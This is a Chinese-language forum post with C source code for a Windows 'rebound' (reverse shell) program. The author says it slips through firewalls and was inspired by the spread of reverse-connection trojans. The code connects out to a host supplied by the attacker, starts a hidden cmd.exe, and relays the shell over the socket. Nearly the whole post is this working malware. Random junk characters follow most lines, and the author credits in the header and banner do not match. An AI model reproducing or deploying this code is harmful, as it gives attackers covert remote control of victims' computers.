这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kj/v$m
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/* ============================== {pz7ADK<
Rebound port in Windows NT J?_-Dg(=
By wind,2006/7 mIah[~G
===============================*/ cxpG6c
#include -s&7zqW
#include ^k5# {?I
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#pragma comment(lib,"wsock32.lib") O\q-Ai
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void OutputShell(); "5b4fQ;x
SOCKET sClient; s4vj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nXAGwU8a
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void main(int argc,char **argv) z6uHe{|
{ ;&`6b:ug
WSADATA stWsaData;
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int nRet; MoC@n+Q+@
SOCKADDR_IN stSaiClient,stSaiServer; >TG#
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if(argc != 3) 7_CX6:
{ 5
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printf("Useage:\n\rRebound DestIP DestPort\n"); P 9?I]a)G
return; -muP.h/
} <K {|#ND#
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WSAStartup(MAKEWORD(2,2),&stWsaData); tKYg
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7Y6b<:4j
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stSaiClient.sin_family = AF_INET; +@qIDUiF3
stSaiClient.sin_port = htons(0); D8\9nHUD`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0;tu}]jnN
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $/"QYSF
{ v{pW/Fu~
printf("Bind Socket Failed!\n"); EnP>
return; GxS!Lk
} jQ3&4>g j
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stSaiServer.sin_family = AF_INET; 9=.7[-6i9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }.r)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dfWtLY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \:9<d@?
{ VfkQc$/
printf("Connect Error!"); L7nW_
return; BE)&.}l
} ih(A l<IS
OutputShell(); c]A @'{7
} .\mkgAlyaM
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void OutputShell() Kj/Lcx;bh
{ 9;fs'R
char szBuff[1024]; TF~cDn
SECURITY_ATTRIBUTES stSecurityAttributes; &/8B(0<
OSVERSIONINFO stOsversionInfo; ,:%
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; : eFyd`Syw
STARTUPINFO stStartupInfo; wowWq\euY
char *szShell; %e+{wU}w?2
PROCESS_INFORMATION stProcessInformation; E&>;a!0b]
unsigned long lBytesRead; 9F7}1cH7g@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Mo]aB:a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y(X^wC
stSecurityAttributes.lpSecurityDescriptor = 0; ?d_vD@+\
stSecurityAttributes.bInheritHandle = TRUE; q@i.4>x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {v*X}`.h
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H/l,;/q]b
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dQ
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stStartupInfo.wShowWindow = SW_HIDE; Kl]l[!c7$
stStartupInfo.hStdInput = hReadPipe; \qJ cs'D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r=# v@]zB
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GetVersionEx(&stOsversionInfo); kW&zkE{
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switch(stOsversionInfo.dwPlatformId) r{wf;5d(
{ B C R]K
case 1: qdo_YPG
szShell = "command.com"; !'Ww%ZL\
break; K~+x@O*
default: A>6_h1
szShell = "cmd.exe"; Awe'MG p%
break; x\pygzQ/
} :=\`P
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |nY+Nen7
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send(sClient,szMsg,77,0); #J~xKyJi'
while(1) ;}'Z2gZB
{ Q}uh`?t
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wsgT`M'J[
if(lBytesRead) -BH T'zq1S
{ \~.elKw<U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n<Ki.;-ZE
send(sClient,szBuff,lBytesRead,0); rB_ESNx
} Mo\nY5
else ([]\7}+8
{ gB0Q0d3\G,
lBytesRead=recv(sClient,szBuff,1024,0); M7ug<
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if(lBytesRead<=0) break; [ZD`t,x(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X/H2c"!t
} )2J#pz?.
} zLg_0r*h1
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return; ceAefKdb
}